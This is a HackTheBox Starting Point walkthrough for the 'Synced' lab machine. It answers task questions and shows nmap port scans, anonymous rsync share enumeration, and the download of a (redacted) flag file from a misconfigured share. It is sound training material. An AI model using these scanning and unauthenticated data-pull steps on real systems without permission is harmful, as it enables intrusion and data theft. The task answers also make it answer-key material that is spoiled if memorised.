Synced

CHALLENGE INFORMATION

	Platform: HackTheBox Collection: Starting Point Tier: 0 Machine: Synced Released: 09/11/2022

MACHINE SYNOPSIS

Synced is a very easy Linux machine that explores the Rsync protocol, how to interact with it and the dangers of improper configuration allowing anonymous authentication.

Preparations

There are several methods for connecting to the target machine. Throughout this walkthrough, we use the provided pwnbox.

Once our connection is established, we spawn the target machine.

Additionally – even though it is not required – we may set a local variable (available only in the current shell) containing our target host’s IP address. Once set, we can access it by prepending a $ to the variable name.

user@kali:~$ rhost=<target-hosts-ip>
user@kali:~$ echo $rhost 
<target-hosts-ip>
user@kali:~$

We can remove the variable with the unset command when it is no longer needed.

user@kali:~$ unset rhost

Task-1

Question: What is the default port for rsync?

873

The rsync daemon listens on TCP port 873 by default.

Task-2

Question: How many TCP ports are open on the remote host?

1

We scan all TCP ports on the target machine with nmap. Only one port appears to be open.

user@kali:~$ nmap -p- $rhost 
...
PORT    STATE SERVICE
873/tcp open  rsync
...
user@kali:~$

Task-3

Question: What is the protocol version used by rsync on the remote machine?

31

We perform service version detection using the -sV option in Nmap.

user@kali:~$ nmap -sV -p 873 $rhost 
...
PORT    STATE SERVICE VERSION
873/tcp open  rsync   (protocol version 31)
...
user@kali:~$

Task-4

Question: What is the most common command name on Linux to interact with rsync?

rsync

We can use apropos to search the installed manual pages and command descriptions for mentions of rsync.

user@kali:~$ apropos rsync
rrsync (1)           - a script to setup restricted rsync users via ssh logins
rsync (1)            - a fast, versatile, remote (and local) file-copying tool
rsync-ssl (1)        - a helper script for connecting to an ssl rsync daemon
rsyncd.conf (5)      - configuration file for rsync in daemon mode
user@kali:~$

Task-5

Question: What credentials do you have to pass to rsync in order to use anonymous authentication?
Options: anonymous:anonymous | anonymous | None | rsync:rsync

None

No credentials are required for anonymous authentication.

Next, we attempt to access the remote machine. Note that rsync uses a specific addressing format for daemon connections. Consulting the rsync man page reveals the correct syntax.

Running the command without options lists the shares available on the remote machine.

user@kali:~$ rsync $rhost::
public         	Anonymous Share
user@kali:~$

Task-6

Question: What is the option to only list shares and files on rsync? (No need to include the leading – characters)

list-only

The --list-only option is documented in rsync’s built-in help. Interestingly, running the command without options – as shown in Task 5 – produces the same results for share enumeration.

user@kali:~$ rsync --help
...
--list-only     list the files instead of copying them
...
user@kali:~$

We verify this against the target machine.

user@kali:~$ rsync --list-only $rhost::
public         	Anonymous Share
user@kali:~$

Exploring the share reveals a file of interest.

user@kali:~$ rsync $rhost::public
...
-rw-r--r--             33 ... flag.txt
user@kali:~$

Submit The Flag

Question: Submit root flag

<redacted-flag>

We copy the file containing the flag to our local machine.

user@kali:~$ rsync $rhost::public/flag.txt ./flag.txt

Once transferred, we display the flag.

user@kali:~$ cat flag.txt 
<redacted-flag>
user@kali:~$

Make sure to terminate the target box before you continue with the next machine!